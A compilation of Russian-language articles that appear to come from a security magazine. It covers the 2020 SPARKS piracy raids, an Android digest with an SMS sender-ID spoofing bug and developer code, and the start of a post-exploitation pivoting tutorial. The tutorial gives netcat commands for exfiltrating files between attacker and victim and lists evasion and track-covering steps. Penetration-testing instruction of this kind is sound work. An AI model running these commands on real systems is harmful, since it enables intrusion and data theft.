дол жим пла тить — и ког да‐нибудь в будущем спе циалис ты по кибер безопас‐ 
ности, рас сле дуя оче ред ную боль шую беду, пожале ют, что исто рия ком пании
Garmin никого ничему не научи ла.

Но может быть, имен но ты ста нешь исклю чени ем из пра вил — и бла года ря
тебе  будет  одной  под пиской  на  небезо пас ный  сер вис мень ше,  одним  пра‐ 
виль но сде лан ным бэкапом боль ше. И цена тво их дей ствий будет изме рять ся
не мил лиона ми дол ларов выкупа, а бес ценной воз можностью вес ти нор маль‐ 
ную жизнь.
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В кон це августа пират ский андегра унд пот рясла круп ней шая
за  пос ледние  нес коль ко  лет  опе рация  пра воох ранитель ных
орга нов.  В  резуль тате  были  зак рыты  десят ки  сай тов
в  18  стра нах  мира,  а  аме рикан ские  влас ти  объ яви ли
об  арес тах  как  минимум  двух  клю чевых  учас тни ков
релиз‐груп пы SPARKS и ее дочер них ответ вле ний GECKOS,
DRONES, ROVERS и SPLiNTERS.

Учас тни ки  дан ных  групп  сос тавля ют  так  называ емую  The  Scene —  «Сце ну».
Этим сло вом обыч но обоз нача ют людей, находя щих ся на вер хушке пират ской
«пищевой цепи». Имен но эти люди любыми спо соба ми дос тают DVD‐ и Blu‐
ray‐копии филь мов и сери алов, при чем обыч но задол го до их офи циаль ного
пос тупле ния в роз ничную про дажу, взла мыва ют их DRM‐защиту, а затем сли‐ 
вают их на тор рент‐тре керы и фай лооб менни ки. То есть «Сце на» слу жит при‐ 
чиной  веч ной  голов ной  боли  пра вооб ладате лей  и  анти пират ских  групп.  И  в
нас тоящее вре мя она поч ти перес тала сущес тво вать.

Из дание TorrentFreak   о пер вых приз наках паники сре ди пиратов
еще 26 августа 2020 года.

на писа ло

Со обще ния  о  мас штаб ней шем  за  пос ледние  годы  рей де  пос тупали
из  мно жес тва  ано ним ных  источни ков.  Жур налис ты  отме чают,  что  обыч но
люди из этой сре ды нераз говор чивы, они всег да опа сают ся того, что их пой‐ 
мают, или же того, что «кол леги по цеху» соч тут их неб лагона деж ными и пред‐ 
став ляющи ми угро зу. Одна ко на прош лой неделе все изме нилось, к тому же
некото рые  топ‐сай ты  вне зап но  исчезли  с  радаров,  а  их  опе рато ры,  судя
по все му, подались в бега.

Все эти слу хи схо дились в одном: пра воох раните ли раз верну ли мас совую
обла ву на учас тни ков релиз‐групп SPARKS, GECKOS и DRONES. Судя по все‐ 
му,  под при целом пра воох раните лей  в основном ока зались Евро па и Скан‐ 
динав ские  стра ны.  Так,  источни ки  изда ния  писали о  рей дах  в Нидер ландах,
Гер мании,  Швей царии  и  Поль ше,  но  лей тмо тивом  в  их  сооб щени ях  сно ва
и сно ва зву чали Нор вегия и Шве ция.

Ве чером того же дня эти паничес кие слу хи наш ли под твержде ние: Минис‐ 
терс тво  юсти ции  США  выс тупило  с  .  Оче вид но,
при дя к выводу, что тай ное уже ста ло явным, пра воох раните ли рас секре тили
докумен ты,  датиро ван ные  янва рем  2020  года  и  про лива ющие  свет  на  про‐ 
исхо дящее.

офи циаль ным  заяв лени ем

Ока залось, что боль шое жюри предъ яви ло обви нения в сго воре с целью
совер шения  прес тупно го  наруше ния  автор ских  прав  и  дру гих  прес тупле ний
как минимум трем чле нам релиз‐групп SPARKS и ее дочер ним ответ вле ниям
GECKOS, DRONES, ROVERS и SPLiNTERS.

Об винитель ное зак лючение опи сыва ет деятель ность пиратов

Ста ло ясно, что рас смот рение это го дела в США ведет ся уже мно го месяцев,
а пред шес тво вав шее это му рас сле дова ние длит ся и того доль ше. В час тнос‐ 
ти,  швед ский  про курор  обмолвил ся,  что  рас сле дова ние  про дол жает ся  уже
мно го лет, хотя и не наз вал кон крет ных цифр.

Аресты и обыски
Пред ста вите ли  Минюс та  США  сооб щили,  что  учас тие  в  этой  мас штаб ной
спе цопе рации  при нима ли  пра воох ранитель ные  орга ны  из  18  стран  на  трех
кон тинен тах  (в  том  чис ле  в  Канаде,  Кип ре,  Чеш ской  Рес публи ке,  Дании,
Фран ции, Гер мании, Ита лии, Рес публи ке Корея, Лат вии, Нидер ландах, Нор‐ 
вегии,  Поль ше,  Пор тугалии,  Румынии,  Испа нии,  Шве ции,  Швей царии
и Великоб ритании), при под дер жке Евро юста, Евро пола и мно жес тва дру гих
ведомств.

Ре зуль татом  их  сов мес тной  работы  ста ло  задер жание  клю чевых  чле нов
груп пы  SPARKS,  а  так же  мно гочис ленные  обыс ки  и  оста нов ка  работы  сер‐ 
веров,  которые  «были  кон вей ером  для  опто вой  кра жи  интеллек туаль ной
собс твен ности».

В судеб ных докумен тах Минюс та США фигури руют три клю чевых учас тни ка
груп пы SPARKS:

50‐лет ний Джордж Бри ди (George Bridi), арес тован на Кип ре, так как был
объ явлен в розыск Интерпо лом;

•

36‐лет ний Джо натан  Кор реа  (Jonatan Correa)  aka Raid,  арес тован  в  Кан‐ 
засе;

•

39‐лет ний  житель  Осло  Умар  Ахмад  (Umar  Ahmad)  aka  Artist,  который,
похоже, пока не арес тован и,  по дан ным влас тей США, еще на прош лой
неделе находил ся на сво боде.

•

На циональ ная  служ ба  уго лов ного  розыс ка  Нор вегии  (Kripos)  отчи талась
о  том,  что  про вела  ряд  круп номас штаб ных  рей дов  и  изъ яла  компь ютер ное
обо рудо вание  у подоз рева емых.  Так же по обви нени ям в наруше нии Закона
Нор вегии об автор ском пра ве были арес тованы трое муж чин от 30 до 40 лет.
До сих пор неяс но, вхо дил ли в их чис ло Умар Ахмад.

Дат ские  влас ти  так же  под твер дили,  что  у  четырех  муж чин  в  воз расте
от 35 до 48 лет были про веде ны обыс ки и впос ледс твии им предъ яви ли обви‐ 
нения в наруше нии автор ских прав. Сооб щает ся, что во вре мя обыс ков были
изъ яты сер веры и дру гое компь ютер ное обо рудо вание.

Из офи циаль ных источни ков извес тно, что в Шве ции тоже было про веде‐ 
но 14 обыс ков, в том чис ле в Умео, Маль мё, Гётебор ге и Сток голь ме. Во вре‐ 
мя рей дов не было про изве дено ни одно го арес та, одна ко,  по сло вам про‐ 
куро ра Йохан ны Кол га  (Johanna Kolga),  в Шве ции было изъ ято боль ше сер‐ 
веров, чем где‐либо еще.

Фо то пра воох ранитель ных орга нов Гер мании, Кореи, Лат вии, Пор ‐
тугалии, Испа нии, Шве ции и Швей царии

Жур налис ты  TorrentFreak  отме чают,  что  Artist,  похоже,  был  очень  важ ной
частью  про изо шед шего.  Дело  в  том,  в  бумагах  Умар  Ахмад  фигури рует
как один из клю чевых чле нов груп пы, одна ко пра витель ство США пока не спе‐ 
шит  прив лекать  его  к  уго лов ной  ответс твен ности.  То  же  самое  каса ется
и Джор джа Бри ди, чей ник нейм пока неиз вестен. Похоже, что единс твен ным
реаль ным  обви няемым  по  делу  SPARKS  в  США  до  сих  пор  оста ется  лишь
Джо натан Кор реа.

Инсайдеры?
Ко неч но, мож но допус тить, что чле ны SPARKS про яви ли неос торож ность и не
подоз ревали  о  мно голет нем  рас сле дова нии  и  инте ресе  со  сто роны  пра‐ 
витель ства США. Одна ко ряд источни ков TorrentFreak убеж ден, что все не так
прос то.  К  при меру,  один  из  ано ним ных  информа торов  изда ния  уве рен,  что
неназ ванный  учас тник  «Сце ны»  не  прос то  так  решил  уйти  на  покой
в начале 2020 года (еще до пан демии COVID‐19). Источник под черки вает, что
нес коль кими  месяца ми  ранее  дру гой  человек,  тес но  свя зан ный  с  дру гой
извес тной релиз‐груп пой, так же «заболел» и вне зап но прек ратил пос тавлять
кон тент.

Из дание намерен но не пуб лику ет наз вания этих групп и псев донимы учас‐ 
тни ков,  ото шед ших  от  дел  при  стран ных  обсто ятель ствах,  но  под твержда ет,
что  релиз‐груп па,  которая  фигури рует  во  вто ром  при мере,  дей стви тель но
прек ратила  вык ладывать  матери алы  за  нес коль ко  месяцев  до  кон‐ 
ца 2019 года.

Все это породи ло слу хи о том, что эти люди, веро ятно, были ском про мети‐ 
рова ны  и  не  прос то  так  «отош ли  от  дел».  По  сло вам  информа тора,  оба
работа ли с одни ми и теми же источни ками кон тента. По непод твержден ным
дан ным, пер вая релиз‐груп па в ито ге прос то исчезла с радаров и до сих пор
не  возоб новила  свою  деятель ность,  тог да  как  вто рая  стол кну лась  с  пра‐ 
витель ством  США,  ког да  влас ти  выяс нили,  отку да  пираты  бра ли  свои  DVD
и Blu‐Ray‐дис ки.

По  информа ции  Евро юста,  в  общей  слож ности  в  ходе  опе рации  были
отклю чены более 60 сер веров в Север ной Аме рике, Евро пе и Азии. Одна ко
до сих пор труд но понять, какие из пират ских ресур сов были отклю чены доб‐ 
роволь но,  самими  опе рато рами  (из  стра ха  «попасть  под  раз дачу»),  а  какие
зак рыты  пра воох ранитель ными  орга нами.  Имен но  по  этой  при чине  точ ного
спис ка зак рытых влас тями ресур сов до сих пор нет.

Жур налис ты TorrentFreak зада ются резон ным воп росом: почему опе рация,
нап равлен ная про тив кон крет ной груп пы SPARKS, зацепи ла так мно го дру гих
команд,  сай тов  и  спро воци рова ла  нас тоящий  хаос  сре ди  людей,  сос тавля‐ 
ющих  осно ву  «Сце ны»? Судя  по  все му,  ответ  кро ется  в  тес ных  свя зях,  объ‐ 
еди няющих чле нов SPARKS и про чих учас тни ков «Сце ны». В час тнос ти, один
из  чле нов  SPARKS  был  весь ма  вли яте лен  и  «запус тил  свои  щупаль ца  пов‐ 
сюду», как выразил ся один из информа торов изда ния. И если чле ны SPARKS
и дру гие учас тни ки «Сце ны» дей стви тель но были так тес но свя заны, то панику
в  пират ском  андегра унде,  важ ный  сег мент  которо го  теперь  прак тичес ки
перес тал сущес тво вать, весь ма лег ко объ яснить.

Что дальше?
С начала мас совых  обыс ков,  арес тов  и  паники минула  все го  неделя. Поль‐ 
зовате ли  тор рент‐тре керов  и  стри мин говых  сай тов  еще  не  успе ли  ощу тить
на  себе  вне зап ную  нех ватку  кон тента,  которая,  веро ятно,  ждет  их  в  ско ром
будущем,  а  обще ние  оставших ся  на  сво боде  учас тни ков  «Сце ны»  све лось
к миниму му.

В  начале  текущей  недели  жур налис ты  TorrentFreak    на  так
называ емых PreDB‐сай тах (pre‐database) сооб щение Scene Notice — уве дом‐ 
ление, пред став ляющее собой тек сто вый файл в фор мате .NFO.

об наружи ли

Та кие  бюл летени  пуб лику ются  весь ма  ред ко  и,  как  пра вило,  содер жат
информа цию, свя зан ную с безопас ностью: осуж дают ту или иную релиз‐груп‐ 
пу  за  неос мотри тель ность,  обви няют  кон крет ных  учас тни ков  в  опас ном
поведе нии,  которое  может  пред став лять  угро зу  для  всех  опе раций.  Порой
авторс тво  такого  бюл летеня  мож но  прос ледить  до  кон крет ной  груп пы
или  учас тни ка  «Сце ны»,  но  неиз вес тно,  кем  было  сос тавле но  све жее  сооб‐ 
щение.

Ано ним ный автор называ ет слу чив шееся «пол ным кра хом» и отме чает, что
опе рация пра воох ранитель ных орга нов может про дол жать ся до сих пор:

«В  резуль тате  дей ствий  раз личных  агентств  со  все го  мира  „Сце на“
серь езно  пос тра дала.  В  сум ме  были  зак рыты  более  29  сай тов
в 14 стра нах мира, в основном в Евро пе. Судя по все му, уже мож но
с  уве рен ностью  говорить  о  том,  что  рей ды  отку сили  боль шой  кусок
от  ISO-сце ны.  И  нет  никаких  сом нений  в  том,  что  это  не  пос ледняя
[опе рация],  ведь  теперь  у  федераль ных  орга нов  будет  боль ше
информа ции, которую они могут про ана лизи ровать».

Жур налис ты  сог ласны  с  мне нием  сос тавите ля  бюл летеня.  Так,  изда ние
по‐преж нему получа ет мно жес тво сооб щений о про дол жающих ся дей стви ях
пра воох ранитель ных  орга нов,  но  боль шинс тво  этих  сооб щений  труд но
или  невоз можно  под твер дить.  Некото рые  источни ки  пред полага ют,  что
на  самом  деле  количес тво  зак рытых  сай тов  уже  может  приб лижать ся  к  50,
а не к 30.

Впол не  логич но,  что  по  мере  арес тов  новых  подоз рева емых  (которые
могут сог ласить ся сот рудни чать со следс тви ем) и кон фиска ции все боль шего
количес тва  обо рудо вания  у  влас тей  появ ляет ся  боль ше  воз можнос тей
для про веде ния даль нейших опе раций.

Так же Scene Notice  гла сит,  что пра воох ранитель ные орга ны мог ли  ском‐ 
про мети ровать основной канал обще ния учас тни ков «Сце ны» — IRC (Internet
Relay  Chat).  Автор  бюл летеня  пишет,  что,  по  непод твержден ным  дан ным,
во Фран ции  был  арес тован  извес тный  член  сооб щес тва,  который  был  опе‐ 
рато ром IRC‐сер вера в linknet.

«Пожалуй ста, исполь зуйте  linknet толь ко в сочета нии с общепри няты- 
ми  рекомен даци ями  по  безопас ности  (SSL,  Blowfish,  шиф рование
каналов), — пре дос терега ет ано ним. — К это му слу ху нель зя отно сить- 
ся лег комыс ленно, и рекомен дует ся дер жать сай ты вне linknet и, если
воз можно,  исполь зовать  час тный  IRCD  для  любых  опе раций,  свя зан- 
ных с сай том».

Уве дом ление  так же  вклю чает  в  себя  советы  для  опе рато ров  сай тов.
В  основном  это  тех ничес кие  рекомен дации,  как  обес печить  безопас ность,
мно гие  из  которых  весь ма  оче вид ны,  нап ример  пере име нова ние  сай та,
пере езд и дру гие методы «мас киров ки», о которых сто ит подумать ресур сам,
где раз мещали кон тент релиз‐груп пы, попав шие в поле зре ния влас тей.

Име ются в бюл летене советы и для currys, которых так же час то называ ют
курь ера ми. Эти люди или  груп пы лиц  учас тву ют  в рас простра нении релизов
«Сце ны» на дру гих плат формах. Им рекомен дует ся  «избе гать небезо пас ных
сай тов или сай тов, игно риру ющих меры безопас ности».

Ав тор пос лания приз нает ся, что на вос ста нов ление «Сце ны» опре делен но
пот ребу ется  вре мя,  и  допус кает,  что  он,  воз можно,  недо оце нива ет  серь‐ 
езность про изо шед шего. Тем не менее он закан чива ет бюл летень вооду шев‐ 
ляющи ми  сло вами:  «Мы  вер немся  и  будем  проц ветать  сно ва!  Наши  мыс ли
с теми, кто пал».
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В этом выпус ке:  баг Android,  откры вающий
воз можность выпол нить SMS‐фишинг, бло‐ 
киров ка  сто рон них  камер  для  дос тупа
из  дру гих  при ложе ний  в  Android  11,  новые
API  Java  в  ста рых  вер сиях  Android,  отзы вы
о  при ложе нии  внут ри  при ложе ния,  опас‐ 
ность  опе рато ра  Elvis,  удоб ный  спо соб
отсле дить  откры тие  кла виату ры  и  рецепт
уско рения пов торных сбо рок на 40%. А так‐ 
же:  новые  инс тру мен ты  пен тесте ра  и  биб‐ 
лиоте ки для раз работ чиков.

ПОЧИТАТЬ

SMS-фишинг по-новому
 — замет ка об инте рес ном (и неис‐ 

прав ленном)  баге  Android,  поз воля ющем  выпол нить  спу финг  отпра вите ля
SMS‐сооб щения.

Smear phishing: a new Android vulnerability

Не боль шая  пре дыс тория.  SMS‐сооб щения могут  не  толь ко  быть  отправ‐ 
лены  с  какого‐то  номера  телефо на,  но  и  иметь  в  качес тве  отпра вите ля  так
называ емый Sender ID. Это поле, которое сос тоит из букв и цифр и по фак ту
никем не регули рует ся. Любой жела ющий может вос поль зовать ся SMS‐шлю‐ 
зом (нап ример,  ) и отпра вить тебе сооб щение, в котором в качес тве
Sender ID будет ука зан Google или даже BillGates.

ClickSend

Сам по себе такой вид фишин га известен дав но, но в сво ем дефол товом
вари анте он может ввес ти в заб лужде ние толь ко твою маму. Дело в том, что
если  у  тебя  в  кон тактах  уже  есть  телефон  Бил ла  Гей тса,  то  сооб щение
с номера BillGates будет выг лядеть край не подоз ритель но:

оно попадет в отдель ную вет ку раз говора;•
оно не будет при вяза но к сущес тву юще му кон такту;•
по ле  «Отпра витель»  (BillGates  вмес то  номера)  будет  выг лядеть  край не
стран но.

•

Обой ти эту проб лему мож но было бы, ука зав в Sender  ID реаль ный телефон
Бил ла Гей тса. В этом слу чае ОС пос читала бы такое сооб щение нас тоящим
сооб щени ем  от  это го  челове ка,  добави ла  бы  сооб щение  к  сущес тву юще му
диало гу  и  при вяза ла  к  кон такту.  Но  у  тебя  вряд  ли  получит ся  так  сде лать,
потому что SMS‐шлю зы бло киру ют исклю читель но циф ровые Sender ID.

И  здесь  на  помощь  при ходит  баг  Android.  Дело  в  том,  что  где‐то  в  коде
обра бот ки  SMS‐сооб щений  в  Android  есть  пар сер,  который  при  интер пре‐ 
тации бук венно‐циф рового Sender  ID прос то отбра сыва ет бук вы и  пыта ется
интер пре тиро вать  это  поле  как  номер  телефо на.  Так,  если  Sender  ID  будет
равен 7890X123456,  пар сер отбро сит  X  и  добавит  к  получив шемуся  номеру
циф ровой  пре фикс  (у  авто ра — +44),  получив  в  ито ге  +447890123456.  Если
в телефо не есть кон такт с  таким номером, сооб щение будет интер пре тиро‐ 
вано как отправ ленное этим кон тактом.

Ин терес но, что Google про игно риро вала сооб щение об уяз вимос ти, ска‐ 
зав, что Sender ID так или ина че не пре дос тавля ет никаких гаран тий и может
быть лег ко под делан:

There  are  no  guarantees  regarding  the  sender  ID  of  SMS  messages,
and they are known to be spoofable.

Де монс тра ция ата ки

Android 11 и блокировка сторонних камер

 — неболь шая замет ка о том, почему и как Android 11 будет бло киро‐ 
вать сто рон ние при ложе ния‐камеры для дос тупа из дру гих при ложе ний.

Android 11 blocks third‐party camera apps from appearing in  image/video picking
intents

Крат кая пре дыс тория: Android пре дос тавля ет раз работ чикам два вари анта
получе ния  дос тупа  к  камере:  исполь зовать  стан дар тный  API  Camera2  либо
отпра вить спе циаль ное сооб щение (интент) с прось бой запус тить сто рон нее
при ложе ние для получе ния сним ка. Во вто ром слу чае сис тема авто мати чес ки
запус тит  дефол товое  при ложе ние  для  съем ки  или  покажет  диалог  выбора
при ложе ния, если нас трой ка дефол тового при ложе ния была сбро шена (нап‐ 
ример, пос ле уста нов ки нового при ложе ния‐камеры или при пер вом исполь‐ 
зовании).

На чиная с Android 11 сис тема будет исклю чать из это го диало га при ложе‐ 
ния, уста нов ленные из мар кета или дру гих источни ков. Сде лано это для борь‐ 
бы  со  злов редны ми  при ложе ниями,  которые  могут  отправ лять  сде лан ные
поль зовате лем  сним ки  на  сто рону.  Одна ко  у  раз работ чиков  оста ется  воз‐ 
можность запус тить   при ложе ние‐камеру нап рямую.кон крет ное

Спи сок интентов, на которые рас простра няет ся огра ниче ние:
android.media.action.VIDEO_CAPTURE;•
android.media.action.IMAGE_CAPTURE;•
android.media.action.IMAGE_CAPTURE_SECURE.•

РАЗРАБОТЧИКУ

Новые Java API в старых версиях Android
  —  статья  о  том,  как  Android  Studio

4.0 и новый пла гин Android Gradle поз воля ют исполь зовать новей шие API Java
в ста рых вер сиях Android.

Support  for  newer  Java  language  APIs

Но вая фун кция называ ется desugaring и вхо дит в сос тав ком пилято ра D8.
На деле это не что иное,  как вклю чение новых API Java в само при ложе ние.
Ком пилятор про веря ет все исполь зуемые при ложе нием стан дар тные клас сы
Java и, если эти клас сы недос тупны во всех вер сиях Android, под держи ваемых
при ложе нием, вклю чает эти клас сы в код при ложе ния.

Для акти вации новой воз можнос ти необ ходимо уста новить Android Gradle
plugin 4.0 и добавить сле дующие стро ки в файл   при ложе ния:build.gradle

 compileOptions {
     coreLibraryDesugaringEnabled true
     sourceCompatibility JavaVersion.VERSION_1_8
     targetCompatibility JavaVersion.VERSION_1_8
}

 kotlinOptions {
       jvmTarget = "1.8"
}

 dependencies {
     coreLibraryDesugaring 'com.android.tools:desugar_jdk_libs:1.0.10'
}

Те перь в при ложе нии мож но исполь зовать   — новый потоко безо‐ 
пас ный API для работы со вре менем,   — API для работы
с  кол лекци ями  в  фун кци ональ ном  сти ле,  дорабо тан ные  клас сы  из  пакета

 и  .

java.time
java.util.streams

java.util.concurrent дру гие API

Отзывы о приложении внутри приложения
 — статья раз работ‐ 

чиков Android о дол гождан ной фун кции биб лиоте ки Play Core Library под наз‐ 
вани ем in‐app review API.

Leverage the In‐App Review API for your Google Play reviews

In‐app  review  API  поз воля ет  раз работ чикам  показать  экран  оцен ки  при‐ 
ложе ния  пря мо  в  собс твен ном  при ложе нии  и  не  отправ лять  поль зовате ля
в Play Store. Все при меры кода опуб ликова ны в  .спе циаль ном репози тории

API край не прос той. Дос таточ но под клю чить биб лиоте ку Play Core:

 implementation 'com.google.android.play:core:1.8.0'
 implementation 'com.google.android.play:core‐ktx:1.8.0'

И выз вать окно оцен ки из suspend‐фун кции:

     val reviewManager = ReviewManagerFactory.create(context)
     val reviewInfo = reviewManager.requestReview()

 reviewManager.launchReview(context, reviewInfo)

Ок но отзы ва внут ри при ложе ния

Опасность оператора Elvis
  —  неболь шая  замет ка  о  под водных

кам нях, которые может таить опе ратор Elvis ( ) в Kotlin.
Hidden  pitfalls  when  using  Elvis  operator

?:
Бла года ря  null  safety  Kotlin  поз воля ет  писать  лаконич ный  и  понят ный  код

для  обра бот ки  зна чений  null.  Нап ример,  про верить  зна чение  перемен ной
 на null и выпол нить опре делен ный код, если ее зна чение не null, мож но

при помощи такой конс трук ции:
data

     data?.let { updateData(data) }

Ис поль зуя опе ратор Elvis, этот код мож но допол нить усло вием else:

               data?.let { updateData(data) } ?: run { showLoadingSpinner() }

Мо жет показать ся, что этот код дела ет то же самое, что и сле дующий:

          if (data != null) {
     updateData(data)
      } else {
  showLoadingSpinner()
}

Но  это  не  так.  Пос ледний  при мер  кода  пол ностью  бинар ный:  либо  пер вый
блок,  либо  вто рой.  А  вот  в  пре дыду щем фраг менте  кода могут  быть  выпол‐ 
нены оба бло ка! Это воз можно, если фун кция    сама вер‐ 
нет null. Тог да все выраже ние сле ва вер нет null и будет выпол нен код спра ва
от опе рато ра Elvis.

updateData(data)

Удобный способ отследить вывод на экран клавиатуры
  —  статья  о  том,  как  отре аги ровать

на показ кла виату ры.
When  the  keyboard  meets  Coroutines

API  для  отсле жива ния  текуще го  сос тояния  кла виату ры  появил ся  толь ко
в  Android  11.  В  более  ран них  вер сиях  Android  нет  механиз ма,  что бы  узнать,
ког да кла виату ра выведе на на экран или исчезла с экра на. Но есть механиз‐ 
мы, поз воля ющие опре делить, что изме нил ся раз мер опре делен ного View.

Один из этих механиз мов — View.OnLayoutChangeListener, который выпол‐ 
няет ся, ког да раз мер View меня ется. Исполь зуя его, а так же корути ны Kotlin,
мож но  написать  suspend‐фун кцию,  которая  будет  бло киро вать ся  ров но
до того момен та, пока раз мер View не ста нет мень ше преж него:

       
     

suspend fun View.awaitsLayoutReductionInY() =
suspendCancellableCoroutine<Unit> { cont ‐>
               val listener = object : View.OnLayoutChangeListener {
                       

                   
   

override fun onLayoutChange(view: View?, left: Int, top: Int,
right: Int, bottom: Int, oldLeft: Int, oldTop: Int, oldRight: Int,
oldBottom: Int) {
                           if (oldBottom != 0 && bottom < oldBottom) {
               view?.removeOnLayoutChangeListener(this)
               cont.resume(Unit)
           }
       }
   }
       
 

cont.invokeOnCancellation { removeOnLayoutChangeListener(listener
) }
   addOnLayoutChangeListener(listener)
}

Эту  фун кцию  мож но  исполь зовать,  что бы  показать  кла виату ру  и  выпол нить
опре делен ное дей ствие сра зу пос ле ее показа:

     private fun openKeyboardAndRearrangeTheView() {
     lifecycleScope.launch {
       editText.openKeyboard()
       view.awaitsLayoutReductionInY()
       imageView.changeMargins()
   }
}

Как ускорить сборку на 40%
 — неболь шая замет ка о том, как уско рить пов торную сбор ку

при ложе ния на 40%, отка зав шись от одно го из эта пов сбор ки.
Disabling Jetifier

Речь  идет  о  Jetifier  —  инс тру мен те,  который  Android  Studio  запус кает
во вре мя сбор ки при ложе ния. Его задача — обес печить сов мести мость уста‐ 
рев шего  кода,  написан ного  с  исполь зовани ем  support‐биб лиотек,  с  новым
кодом, исполь зующим ком понен ты Jetpack. По сути, он прос то заменя ет име‐ 
на  импорти руемых  пакетов,  прев ращая  стро ки  типа 

 в 
.

import  android.sup‐
port.v7.widget.AppCompatImageView import androidx.appcompat.wid‐
get.AppCompatImageView

В  подав ляющем  боль шинс тве  слу чаев  этот  этап  необ ходим,  потому  что
про ект может исполь зовать мно жес тво уста рев ших биб лиотек, все еще при‐ 
вязан ных к support‐биб лиоте кам. Проб лема толь ко в том, что, если в про екте
таких  биб лиотек  нет,  Jetifier  все  рав но  будет  запущен  и  отни мет  солид ный
кусок вре мени сбор ки.

От клю чить  Jetifier  мож но,  убрав  стро ку 
из фай ла  . Но что, если ты не зна ешь, какие зависи мос ти
до сих пор исполь зуют support‐биб лиоте ки? Узнать это поз волит Gradle‐пла‐ 
гин  .

android.enableJetifier=true
gradle.properties

Can I Drop Jetifier
До бавь его в   про екта:build.gradle

 { plugins
       id "com.github.plnice.canidropjetifier" version "0.5"
} 

И запус ти такую коман ду из катало га про екта:

./gradlew ‐Pandroid.enableJetifier=false canIDropJetifier 

На экра не появит ся спи сок  уста рев ших  зависи мос тей. Если  какие‐то из них
обно вить нель зя, их при дет ся скон верти ровать в «новый фор мат» вруч ную:

./jetifier‐standalone ‐i <source‐library> ‐o <output‐library> 

Эта  коман да  при нима ет  на  вход  AAR‐файл  биб лиоте ки  и  выда ет  на  выход
исправ ленный вари ант.

ИНСТРУМЕНТЫ

 — фрей мворк для динами чес кого ана лиза при ложе ний (с фун кци‐ 
ей отклю чения упа ков щиков);

• Medusa

  —  скрипт  для  пат чинга  при ложе ний  с  целью  дам па
при ват ных зашиф рован ных дан ных.

• PathSecurityProvider

БИБЛИОТЕКИ

  —  обер тка  к  ContentObserver,  пред став ляющая  дан ные  в  виде
Kotlin coroutines Flow или RxJava Observable;

• Copper

 — view для соз дания редак торов кода;• CodeView
 — биб лиоте ка для соз дания кра сивых Toast‐сооб щений;• Toaster‐Android

 — удоб ный адап тер для RecyclerView;• Kiel
 — удоб ная биб лиоте ка для хра нения дан ных ключ:зна чение;• Satchel

 — ани миро ван ное боковое меню;• MaterialResideMenu
 — биб лиоте ка, дела ющая любые View выпук лыми;• NeumorphismView

 — биб лиоте ка для удоб ной работы с датами;• Tempo
 — биб лиоте ка для тес тирова ния Koltin coroutines Flow;• Turbine

 — view, показы вающий гра фики;• GraphView
 — биб лиоте ка для записи экра на;• Scrcast

 — биб лиоте ка для управле ния ауди овхо дами/выхода ми;• Audioswitch
 — MVI‐фрей мворк на базе Kotlin coroutines Flow.• MVFlow
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Pivoting, как ни стран но, не име ет никако го
отно шения  к  рас питию  пива.  Это  один
из эта пов взло ма, ког да ата кующий соз дает
для себя точ ку опо ры в ском про мети рован‐ 
ной  сис теме,  плац дарм  для  даль нейше го
про ник новения.  О  при емах,  которые
для  это го  при меня ются,  мы  сегод ня
и погово рим.

Во  мно гом  пос тэкс плу ата ция  похожа  на  «экс тре маль ное  адми нис три рова‐ 
ние» и мало свя зана с информа цион ной безопас ностью. Но без это го эта па
не  обхо дит ся  ни  один  взлом,  ина че  он  поп росту  лишен  смыс ла.  В  целом 

 обыч но вклю чает такие пос ледова тель ные шаги:постэксплуатация
evasion, обход анти виру са;•
persistence,  зак репле ние  (регис тра ция  в  авто заг рузке,  соз дание  служ бы
и так далее);

•

pivoting, орга низа ция дос тупа, точ ки опо ры;•
privilege escalation, повыше ние при виле гий;•
gathering, сбор дан ных (паролей, докумен тов и про чего);•
lateral movement, горизон таль ное переме щение (получе ние дос тупа к дру‐ 
гим хос там);

•

про чие мероп риятия  для  управле ния  ском про мети рован ной ОС  (получе‐ 
ние GUI, уста нов ка кей лог геров, ска ниро вание пор тов);

•

за мета ние сле дов (очис тка логов, уда ление соз данных фай лов).•

По рядок шагов каж дый раз может быть раз ным, некото рые из них могут и вов‐ 
се  отсутс тво вать. Нап ример,  тот же  самый pivoting  нужен  далеко  не  всег да.
Каж дый  из  эта пов  впол не  зас лужива ет  отдель ной  статьи,  но  сегод ня  мы
погово рим исклю читель но о pivoting’е.

Pivoting нап равлен глав ным обра зом на обход сетевых экра нов или про чих
помех  переда че  дан ных меж ду  ата кующим и жер твой,  таких  как филь тра ция
пор тов или NAT. И решать подоб ные проб лемы мож но не толь ко проб росом
пор тов или тун нелиро вани ем. Орга низа ция GUI в сре де Windows так же может
стать  серь езной  проб лемой,  так  как  некото рые  прог раммы  не  име ют  кон‐ 
соль ного интерфей са.

С  pivoting’ом  мож но  стол кнуть ся  на  любом  эта пе  ата ки  —  от  про ник‐ 
новения  во  внут реннюю  сеть,  ког да  нуж но  пре одо леть  огра ниче ния  DMZ,
до того момен та, ког да уже получе ны пра ва адми нис тра тора домена и нуж но
доб рать ся  до  осо бо  охра няемой  локаль ной  сети.  Будем  ста рать ся  исполь‐ 
зовать наиме нее подоз ритель ные при емы, что бы нас не спа лили анти виру сы,
и при этом и наибо лее уни вер саль ные — встро енные коман ды или пор татив‐ 
ный софт. Рас смот рим раз ные слу чаи pivoting’а — с пра вами адми нис тра тора
и без. Как обыч но, на ата кующей сто роне исполь зуем Linux.

INFO

Сим волом    отме чены  слу чаи,  ког да  необ‐ 
ходимы  адми нис тра тив ные  пра ва  на  ском про‐ 
мети рован ной ОС.

• #

Сим волом    —  слу чаи,  ког да  воз можен  запуск
без прав адми нис тра тора.

• $

ПЕРЕДАЧА ФАЙЛОВ (ИНФИЛЬТРАЦИЯ И ЭКСФИЛЬТРАЦИЯ)
Пер вая проб лема, с  которой ата кующий стал кива ется на эта пе pivoting’а, —
это переда ча фай лов. Порой нуж но залить на уда лен ный хост экс пло ит под‐ 
нятия при виле гий, ска чать какой‐либо документ, дамп памяти, под нять прок‐ 
си‐сер вер,  наконец.  Спе цифи ка  переда чи  дан ных  обус ловле на  необ‐ 
ходимостью выпол нить ее исклю читель но базовы ми средс тва ми ОС. Тут есть
нес коль ко вари антов.

Эксфильтрация через TCP
Клас сичес кая переда ча фай лов c помощью netcat выг лядит так:

attacker> nc victim 1234 < file 
victim  nc   $> ‐nv ‐lp 1234 > file 

То же самое, но обратное соеди нение:

attacker> nc   ‐nv ‐lp 1234 < file 
victim$> nc attacker 1234 > file 

Ме тод  глав ным  обра зом  ори енти рован  на  Linux.  Одна ко  даже  на  Linux
не  всег да  при сутс тву ет  netcat.  В  таком  слу чае  мож но  передать  фай лы
